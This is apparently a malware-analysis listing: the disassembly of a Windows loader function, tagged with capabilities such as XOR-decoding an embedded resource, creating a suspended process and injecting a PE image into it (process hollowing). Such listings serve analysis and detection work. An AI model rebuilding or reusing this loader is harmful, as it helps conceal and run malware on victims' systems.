Function at 0x140000958
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Resume thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x720]
sub rsp, 0x820
xor r12d, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
lea r8, str.IMAGE
mov edx, 0x85
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
test rax, rax
je 0x1400009d2
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400009d2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x1400009d2
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
jmp 0x1400009d8
mov eax, r12d
mov rbx, r12
mov dword [0x1400051a8], eax
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [0x1400051c0], rbx
lea r8, [0x1400051b8]
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.Cabinet.dll_CreateDecompressor]
test eax, eax
je 0x140000a96
mov r8d, dword [0x1400051a8]
lea rbx, [0x1400051b0]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov rdx, qword [0x1400051c0]
mov rcx, qword [0x1400051b8]
call qword [sym.imp.Cabinet.dll_Decompress]
test eax, eax
jne 0x140000a63
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140000a96
mov rcx, qword [0x1400051b0]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, rax
mov qword [0x140005198], rax
test rax, rax
je 0x140000a96
jmp 0x140000a6a
mov r9, qword [0x140005198]
mov r8d, dword [0x1400051a8]
mov qword [rsp + 0x28], rbx
mov rax, qword [0x1400051b0]
mov qword [rsp + 0x20], rax
mov rdx, qword [0x1400051c0]
mov rcx, qword [0x1400051b8]
call qword [sym.imp.Cabinet.dll_Decompress]
mov dword [rsp + 0x50], 0x34656744
mov dword [rsp + 0x54], 0x2a424868
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov ecx, 0xf
mov qword [rbp - 0x60], rcx
lea edi, [rcx - 6]
mov qword [rbp - 0x68], rdi
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp - 0x78], xmm0
mov word [rbp - 0x70], CreateDecompressor
mov dword [rsp + 0x50], 0x2b433837
mov dword [rsp + 0x54], 0x652d4e69
mov byte [rsp + 0x58], 0x4f
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x48], rdi
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp + 0x38], xmm0
mov word [rbp + 0x40], 0x4f
lea r9, [rbp + 0x38]
mov qword [rsp + 0x20], rdi
mov edx, edi
lea rcx, [rbp - 0x78]
call fcn.140001f8c
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x18]
call fcn.140001aec
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.1400005d8
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r12
mov r8, qword [0x1400051b0]
mov rdx, qword [0x140005198]
lea rcx, [rbp + 0x158]
call fcn.140001d44
nop
lea r8, [rbp + 0x158]
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x270]
call fcn.140000774
nop
lea rcx, [rbp + 0x18]
mov rbx, qword [rbp + 0x28]
cmp qword [rbp + 0x30], 0x10
jb 0x140000b97
mov rsi, qword [rbp + 0x18]
add rbx, rsi
jmp 0x140000b9e
add rbx, rcx
lea rsi, [rbp + 0x18]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], r12
mov r13d, 0x1000
sub rbx, rsi
je 0x140000c28
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140001a1c
cmp rbx, r13
jb 0x140000bf6
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140001a16
call fcn.140002290
test rax, rax
je 0x1400018db
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140000c01
mov rcx, rbx
call fcn.140002290
mov rdi, rax
mov qword [rbp + 0x760], rdi
mov qword [rbp + 0x58], rdi
lea r14, [rdi + rbx]
mov qword [rbp + 0x68], r14
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x60], r14
jmp 0x140000c33
mov rdi, qword [rbp + 0x58]
mov qword [rbp + 0x760], rdi
movsd xmm0, qword [str.3_e_t_VUVZef7]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x140003638]
mov dword [rsp + 0x68], eax
movzx eax, word [0x14000363c]
mov word [rsp + 0x6c], ax
mov al, byte [0x14000363e]
mov byte [rsp + 0x6e], al
mov rcx, qword [0x1400051b0]
call fcn.140002524
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
lea rax, [rsp + 0x60]
or r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], r12b
jne 0x140000c88
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x58]
call fcn.140001d44
nop
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x270]
call fcn.140000774
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140000cc4
mov rbx, qword [rax]
mov r14, qword [0x1400051b0]
mov rsi, r15
inc rsi
cmp byte [rbx + rsi], r12b
jne 0x140000cce
lea rcx, [r14 + 1]
call fcn.140002524
mov r10, rax
mov qword [rbp + 0x768], rax
mov r8, r12
test r14, r14
je 0x140000d15
mov r9, rdi
sub r9, rax
lea rcx, [r8 + r10]
xor edx, edx
mov rax, r8
div rsi
mov al, byte [rdx + rbx]
xor al, byte [r9 + rcx]
mov byte [rcx], al
inc r8
cmp r8, r14
jb 0x140000cf8
mov byte [r10 + r14], r12b
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0x10
jb 0x140000d59
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, r13
jb 0x140000d54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140000d54
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], 0xf
mov byte [rbp + 0x190], r12b
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140000dac
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, r13
jb 0x140000da7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140000da7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
movsd xmm0, qword [str.q_7_eNH]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x140003648]
mov word [rsp + 0x58], ax
movups xmm0, xmmword [str.Q_tF_0fEPAtXnRqsp_M]
movups xmmword [rbp + 0x88], xmm0
mov eax, dword [0x140003660]
mov dword [rbp + 0x98], eax
movzx eax, word [0x140003664]
mov word [rbp + 0x9c], ax
mov al, byte [0x140003666]
mov byte [rbp + 0x9e], al
movups xmm0, xmmword [str.Q_gF_huG_Jt_1I86v]
movups xmmword [rbp + 0x178], xmm0
mov eax, dword [0x140003678]
mov dword [rbp + 0x188], eax
movups xmm0, xmmword [str.Q_0F0fEILwE_ZK2u_]
movups xmmword [rbp + 0xa0], xmm0
mov eax, dword [0x140003690]
mov dword [rbp + 0xb0], eax
mov al, byte [0x140003694]
mov byte [rbp + 0xb4], al
movups xmm0, xmmword [str.Q_w_:JpPP_Pv4K4r]
movups xmmword [rbp + 0x70], xmm0
movzx eax, word [0x1400036a8]
mov word [rbp + 0x80], ax
mov al, byte [0x1400036aa]
mov byte [rbp + 0x82], al
movsd xmm0, qword [str.Q_v__1nG_JgE_]
movsd qword [rbp + 8], xmm0
mov eax, dword [0x1400036b8]
mov dword [rbp + 0x10], eax
movzx eax, word [0x1400036bc]
mov word [rbp + 0x14], ax
mov al, byte [0x1400036be]
mov byte [rbp + 0x16], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], r12
lea rax, [rsp + 0x60]
mov r8, r15
inc r8
cmp byte [rax + r8], r12b
jne 0x140000ea0
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x38]
call fcn.140001d44
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], r12
mov qword [rbp + 0x150], r12
lea rax, [rsp + 0x50]
mov r8, r15
inc r8
cmp byte [rax + r8], r12b
jne 0x140000ed8
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x138]
call fcn.140001d44
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r12
mov qword [rbp + 0x130], r12
lea rax, [rbp + 8]
mov r8, r15
inc r8
cmp byte [rax + r8], r12b
jne 0x140000f12
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x118]
call fcn.140001d44
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], r12
mov qword [rbp + 0x110], r12
lea rax, [rbp + 0x70]
mov r8, r15
inc r8
cmp byte [rax + r8], r12b
jne 0x140000f4b
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0xf8]
call fcn.140001d44
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], r12
mov qword [rbp + 0xf0], r12
lea rax, [rbp + 0xa0]
mov r8, r15
inc r8
cmp byte [rax + r8], r12b
jne 0x140000f87
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xd8]
call fcn.140001d44
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc8], r12
mov qword [rbp + 0xd0], r12
lea rax, [rbp + 0x178]
mov r8, r15
inc r8
cmp byte [rax + r8], r12b
jne 0x140000fc6
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0xb8]
call fcn.140001d44
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
lea rax, [rbp + 0x88]
mov r8, r15
inc r8
cmp byte [rax + r8], r12b
jne 0x140000ffc
lea rdx, [rbp + 0x88]
lea rcx, [rbp - 0x58]
call fcn.140001d44
nop
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x270]
call fcn.140000774
mov r13, rax
lea r8, [rbp + 0x138]
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x270]
call fcn.140000774
mov qword [rbp + 0x770], rax
lea r8, [rbp + 0x118]
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x270]
call fcn.140000774
mov r12, rax
lea r8, [rbp + 0xf8]
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x270]
call fcn.140000774
mov r14, rax
lea r8, [rbp + 0xd8]
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x270]
call fcn.140000774
mov rsi, rax
lea r8, [rbp + 0xb8]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x270]
call fcn.140000774
mov rbx, rax
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x270]
call fcn.140000774
nop
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400010e7
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002114
lea rdx, [0x140001d0c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140001114
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.140002114
lea rbx, [0x140001d0c]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140001140
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
mov rcx, rax
call fcn.140002114
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x140001165
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
mov rcx, rax
call fcn.140002114
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x14000118c
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
mov rcx, rax
call fcn.140002114
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
mov rax, qword [rbp + 0x770]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400011bc
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140002114
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r13
cmp qword [r13 + 0x18], 0x10
jb 0x1400011df
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
mov rcx, rax
call fcn.140002114
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x1c8]
mov esi, 0x1000
cmp rdx, 0x10
jb 0x14000123d
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, rsi
jb 0x140001238
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001238
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
xor r14d, r14d
mov qword [rbp + 0x1c0], r14
lea r13d, [r14 + 0xf]
mov qword [rbp + 0x1c8], r13
mov byte [rbp + 0x1b0], r14b
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140001299
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, rsi
jb 0x140001294
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001294
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
mov qword [rbp + 0x1e0], r14
mov qword [rbp + 0x1e8], r13
mov byte [rbp + 0x1d0], r14b
mov rdx, qword [rbp + 0x208]
cmp rdx, 0x10
jb 0x1400012ee
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, rsi
jb 0x1400012e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400012e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
mov qword [rbp + 0x200], r14
mov qword [rbp + 0x208], r13
mov byte [rbp + 0x1f0], r14b
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x140001343
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, rsi
jb 0x14000133e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000133e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x228], r13
mov byte [rbp + 0x210], r14b
mov rdx, qword [rbp + 0x248]
cmp rdx, 0x10
jb 0x140001398
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, rsi
jb 0x140001393
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001393
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
mov qword [rbp + 0x240], r14
mov qword [rbp + 0x248], r13
mov byte [rbp + 0x230], r14b
mov rdx, qword [rbp + 0x268]
cmp rdx, 0x10
jb 0x1400013ed
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, rsi
jb 0x1400013e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
mov qword [rbp + 0x260], r14
mov qword [rbp + 0x268], r13
mov byte [rbp + 0x250], r14b
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x14000143c
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, rsi
jb 0x140001437
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001437
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
mov qword [rbp - 8], r14
mov qword [rbp], r13
mov byte [rbp - 0x18], r14b
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140001483
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, rsi
jb 0x14000147d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000147d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
nop
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x1400014c4
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, rsi
jb 0x1400014be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
nop
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x140001505
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, rsi
jb 0x1400014ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
nop
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x10
jb 0x140001546
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, rsi
jb 0x140001540
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001540
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
nop
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x140001587
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, rsi
jb 0x140001581
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001581
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
nop
mov rdx, qword [rbp + 0x150]
cmp rdx, 0x10
jb 0x1400015c8
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, rsi
jb 0x1400015c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140001602
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, rsi
jb 0x1400015fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
mov r12, qword [rbp + 0x768]
movsxd rbx, dword [r12 + 0x3c]
add rbx, r12
cmp dword [rbx], 0x4550
jne 0x1400018ac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp + 0x2b0]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x320]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x20], r14
lea rax, [rsp + 0x50]
inc r15
cmp byte [rax + r15], r14b
jne 0x140001666
mov r8, r15
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x38]
call fcn.140001d44
nop
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x270]
call fcn.140000774
cmp qword [rax + 0x18], 0x10
jb 0x14000169f
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x1400016e2
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, rsi
jb 0x1400016dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
mov qword [rbp - 8], r14
mov qword [rbp], r13
mov byte [rbp - 0x18], r14b
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140001728
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, rsi
jb 0x140001723
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001723
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov r15d, 4
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x320]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400018ac
mov r9d, r15d
mov r8d, esi
lea edx, [r15 + 4]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400018ac
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, dword [rbx + 0x54]
mov r8, r12
mov rdx, r14
mov rcx, qword [rsp + 0x70]
call qword [0x140005190]
xor eax, eax
mov r12d, eax
cmp ax, word [rbx + 6]
jae 0x140001876
mov r15d, eax
mov rdi, qword [rbp + 0x768]
movsxd r9, dword [rdi + 0x3c]
add r9, rdi
mov r8d, dword [r9 + r15 + 0x11c]
add r8, rdi
mov edx, dword [r9 + r15 + 0x114]
add rdx, r14
mov qword [rsp + 0x20], rax
mov r9d, dword [r9 + r15 + 0x118]
mov rcx, qword [rsp + 0x70]
call qword [0x140005190]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
lea r8, [rbx + 0x30]
mov rcx, qword [rsp + 0x70]
call qword [0x140005190]
inc r12
lea r15, [r15 + 0x28]
movzx eax, word [rbx + 6]
cmp r12, rax
mov eax, 0
jb 0x140001800
mov rdi, qword [rbp + 0x760]
mov eax, dword [rbx + 0x28]
add rax, r14
mov qword [rsi + 0x80], rax
mov rdx, rsi
mov rcx, qword [rsp + 0x78]
call qword [0x1400051a0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r14d, r14d
mov r13d, 0x1000
test rdi, rdi
je 0x1400018ee
mov rcx, qword [rbp + 0x68]
sub rcx, rdi
mov rax, rdi
cmp rcx, r13
jb 0x1400018e2
add rcx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rcx
mov rcx, rdi
call fcn.14000251c
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x140001928
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, r13
jb 0x140001923
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001923
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], r14b
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x140001979
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, r13
jb 0x140001973
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001973
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
nop
